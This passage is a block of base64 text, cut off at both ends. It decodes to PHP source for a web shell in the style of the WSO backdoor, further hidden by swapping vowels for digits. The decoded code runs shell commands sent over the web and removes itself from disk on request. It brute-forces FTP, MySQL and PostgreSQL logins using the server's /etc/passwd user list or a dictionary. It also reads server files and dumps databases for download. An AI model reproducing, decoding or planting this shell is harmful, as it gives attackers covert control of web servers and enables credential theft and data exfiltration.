bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVggPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zaDJ3XzVycjJycyB2MWwzNT02ICcuKCE1bXB0eSgkX1BPU1RbJ3BhJ10pfHwkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKCIkICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSk7DQoJfQ0KCTVjaDIgJzwvdDV4dDFyNTE+PHQxYmw1IHN0eWw1PSJiMnJkNXI6NnB4IHMybDRkICMwMDAwMDA7YjFja2dyMjNuZC1jMmwycjojZmZmZmZmO2IycmQ1ci10MnA6MHB4OyIgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIHc0ZHRoPSI2MDAlIj48dHI+PHRkIHc0ZHRoPSI2JSI+WyRdPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjZweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KCTVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOw0KCWQ0NTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCgkNCgk0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpDQoJCTRmKEAzbmw0bmsocHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCgkJNWxzNQ0KCQkJNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkJyM3Q1ZjJyYzUoKSB7DQoJd3MySDUxZDVyKCk7DQoJNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQoJCTVjaDIgJzxoNj5SNXMzbHRzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCgkJNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCgkJCWYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCgkJCQk0ZighJGZwKSByNXQzcm4gZjFsczU7DQoJCQkJJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAZnRwX2NsMnM1KCRmcCk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCgkJCWYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KCQkJCUBteXNxbF9jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KCQkJZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQoJCQkJJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KCQkJCUBwZ19jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfQ0KCQkkczNjYzVzcyA9IDA7DQoJCSQxdHQ1bXB0cyA9IDA7DQoJCSRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQoJCTRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCgkJCSR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCgkJCQkJCQkkdG1wIC49ICRsNG41WzBdWyQ0XTsNCgkJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQkJNGYoIGJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQoJCQkkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSB0cjRtKCRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCBicjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCTVjaDIgIjxzcDFuPkF0dDVtcHRzOjwvc3Axbj4gJDF0dDVtcHRzIDxzcDFuPlMzY2M1c3M6PC9zcDFuPiAkczNjYzVzczwvZDR2Pjxicj4iOw0KCX0NCgk1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj5UeXA1PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48czVsNWN0IG4xbTU9cHIydDI+PDJwdDQybiB2MWwzNT1mdHA+RlRQPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1teXNxbD5NeVNRTDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9cGdzcWw+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMSddKS4nIj4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnY2gxcnM1dCddKS4nIj4nDQoJCS4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zNXJ2NXIgdjFsMzU9IjZhNy4wLjAuNiI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcDFuPkJyM3Q1IHR5cDU8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9IjYiIGNoNWNrNWQ+IC81dGMvcDFzc3dkPC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iYSI+IEQ0Y3Q0Mm4xcnk8L2wxYjVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dDFibDUgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48dHI+PHRkPjxzcDFuPkwyZzRuPC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDJnNG4gdjFsMzU9InIyMnQiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsNCgk1Y2gyICc8L2Q0dj48YnI+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgew0KCWNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAiDQo8aDY+TXlTUUwgQnIyd3M1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U1FMPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciL